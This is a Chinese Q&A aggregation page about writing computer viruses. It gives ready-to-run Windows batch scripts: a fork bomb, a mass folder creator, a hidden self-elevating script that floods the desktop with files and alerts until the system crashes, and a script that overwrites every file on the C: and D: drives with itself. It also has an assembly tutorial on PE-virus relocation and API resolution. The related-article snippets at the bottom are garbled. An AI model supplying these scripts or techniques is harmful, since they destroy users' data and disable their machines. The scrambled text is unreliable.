当前位置:首页 > 生活知识 > 正文内容

如何做电脑病毒编程(计算机病毒编程)

hacker3年前 (2022-05-28)生活知识214
本文导读目录:

电脑病毒是怎么编的???

电脑病毒是有一些语言编写的,像c、c++、c#、java、vb都能编写病毒,所以编写病毒,需要先学习变成基础,学好编程,在对操作系统以及系统底层有一定的了解,就能够编写病毒了。

电脑病毒制作教程

很荣幸能够回答您的问题!

桌面上创建记事本,改后缀为bat

2

::输入以下代码

%0|%0

保存后退出,打开会发现无限制的弹窗。这是什么原理呢?

执行脚本的时候,|管道符会将左面的值传给右边,而这里%0是第一个参数(批处理路径),所以会无限执行自己。

END

第二种病毒

这种更强大一些。同样,桌面上创建记事本,改后缀为bat

::输入以下代码

for /l %%i in (1 1 999999) do md A..\

这个病毒利用Windows命名漏洞,创建999999个删除不了也打不开的文件夹。解决方法:把md改为rd

END

第三种病毒

这种病毒更高级,攻击性能更强。同样,桌面上创建记事本,改后缀为bat

@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit

:a

set /a a+=1

echo %random%-%random%-%random% C:\Users\%username%\Desktop\病毒文件.%random%

mshta javascript:alert("您已中第%a%个病毒.");close();

goto a

这个病毒会在后台运行,在桌面重复弹信息框,生成垃圾文件,千万不敢随意测试,因为电脑会消耗尽内存后蓝屏。

END

第四种病毒

这种病毒最有破坏性,跟熊猫烧香媲美。同样,桌面上创建记事本,改后缀为bat

@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit

for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do copy /y "%dpnx0" "%%i" nul

for /f "tokens=* delims=" %%i in ('dir /b C:\*.*') do copy /y "%dpnx0" "%%i" nul

此程序特别狠,会在后台把C、D盘所有的文件都替换成自己(病毒文件,然后会又被执行)。

希望能帮到您,如有疑问,请追问!

电脑病毒是怎样编出来的?(详细回答)

编程方面就是vb/c/汇编 (虽然这些学起来比较难,不过做出来的软件有很高的自由度) 如果是用写病毒的 如冰河 灰鸽子等(这些实际上不能算编病毒,只能说是应用这种病毒,比如用专门写灰鸽子的,就只能写出灰鸽子,有很大的局限性,不过比较适合新手) 除非你已经对电脑方面很专业了,否则不要乱动病毒,因为后果通常都很严重。没损到别人反而自己被自己的毒挂了。

怎么编程病毒?

搂主`你多C语言懂多少呀?通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp 包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:

;ebp 包含了delta offset 值

401000:

mov eax,dword ptr [ebp+0x402035]

......

402035:

db "hello world!",0

在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:

call delta

delta:

pop ebp

sub ebp,offset delta

在运行时就动态计算出了delta offset 值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv 为例,该指令将最后执行的一条FPU 指令相关的协处理器的信息保存在指定的内存中fpu_addr:

fnop

call GetPhAddr

sub ebp,fpu_addr

GetPhAddr:

sub esp,16

fnstenv [esp-12]

pop ebp

add esp,12

ret

delta offset 也不一定非要放在ebp 中,只不过是ebp 作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。

在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码:

call _start_ip

_start_ip:

pop ebp

;...

;使用

call [ebp+addrOpenProcess-_start_ip]

;...

addrOpenProcess dd 0

;而不是

call _start_ip

_start_ip:

pop ebp

sub ebp,_start_ip

call [ebp+addrOpenProcess]

为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4 个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。

API 函数地址的获取

在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API 的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。

Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows 版本之间该API 的地址并不完全相同,使用该方法的病毒可能只能在Windows 2000的某个版本上运行。

因此病毒作者自然而然地回到PE结构上来探求解决方法,我们知道系统加载PE 文件的时候,可以将其引入的特定DLL 中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:

A)在感染PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API 的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。

B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解析搜索DLL 的导出表,必须首先获取DLL 在内存中的真实加载地址,只有这样才能解析从PE 的头部信息中找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetProcAddress 两个API可以获取任意DLL 中导出的任意函数,在迄今为止的所有Windows 平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL 的导出表获取常用的API 地址,如需要可进一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。

怎样在文本文件里编程电脑病毒?

一般用TEXT文档

在txt文档里面输入:

Starts virus

virus

virus

然后选择另存为,在文件名里里面输入:

Virus.bat(一定要写.bat,否则病毒无效)

然后选择保存,当你打开那个的时候。。。建议不要打开,电脑会死机

扫描二维码推送至手机访问。

版权声明:本文由万物知识分享发布,如需转载请注明出处。

本文链接:https://qmsspa.com/32195.html

分享给朋友:

“如何做电脑病毒编程(计算机病毒编程)” 的相关文章

b站免费视频剪辑软件哪个好用(b站推出移动端视频剪辑工具)

Bi-clip app是哔哩哔哩拉没的一款挪动望频编纂 对象 ,相似 于Tik Tok的clip、Aauto Quicker外的fast movie等app对象 。 特色 : [下浑屏幕录造] 一键游戏曲播说明注解,粗彩刹时 没有容错过! 【快捷录屏】支流游戏,一键唤起屏幕...

seo工程师是什么技术(seo工作者需要具备什么样的技能)

取SEO博野相比,SEO工程师的事情 存留许多 压力战答题。要解决那些懊恼 ,必需 有一个邪确的事情 流程, 晓得天天 要注重甚么,作甚么。 SEO工程师正在SEO劣化圆里的事情 内容次要实用 于私司只要一个SEO,您自力 负责某个名目的SEO事情 的SEOer。次要是闭于咱们对付 自力 网站...

seo入口信息流(地域关键词seo)

挪动网站SEO劣化地舆 疑息标注,是为了便利 用户依据 自身地位 找到或者运用当地 疑息战办事 。baidu挪动搜刮 将依据 用户的地舆 地位 疑息,劣先背用户出现 具备地区 属性的内容。假如 网站是提求区域疑息办事 的网站,否以正在本身 的网页上加添地舆 地位 疑息的元标签,让目的 用户正在ba...

百度搜索下拉框内容怎么清除(百度下拉框和百度相关搜索怎么做)

百度搜索下拉框内容怎么清除(百度下拉框和百度相关搜索怎么做)

 曾经庆仄以为 ,到了那面,您曾经购孬了办事 器战域名,肯定 了本身 网站的品牌、标语 战网站圆案,预备 高年夜 工夫 。然则 ,假如 您实的念把SEO作孬,这么高一步续 对于没有是网络 文章收回来。既然如斯 ,咱们只可说您的SEO程度 借正在SEO博员的程度 。 假如 您念把本身 晋升 到S...

seo优化的常见注意事项是什么(为什么说seo是王道)

seo优化的常见注意事项是什么(为什么说seo是王道)

尔一向 以为 SEO更多的是一门艺术,而没有是一门技术。尔信任 年夜 部门 作网站设计战SEO的人皆是教理工科的,然则 实邪的SEO须要 更多的理科底子 ,好比 商场营销、告白 、生理 教、写做等等。当然也须要 一点儿技术底子 ,好比 HTML、编程、办事 器底子 常识 等等。然则  对于那些技术...

网络营销策划都有哪些步骤(网络营销策划怎么做才有效果)

现在 ,发卖 商场未 逐步入进有特点 的商场合作。对付 私司去说,品牌拉广曾经成为私司挨制发卖 商场焦点 合作力的焦点 义务 之一。要念作孬品牌拉广,这么后期的营销谋划 便是一个异常 症结 的阶段。这么,营销谋划 应该怎么作呢?若何 能力 作孬营销谋划 ?营销谋划 的要点是甚么?让咱们看看上面的肖...

评论列表

莣萳莺时
3年前 (2022-05-28)

得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProces

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。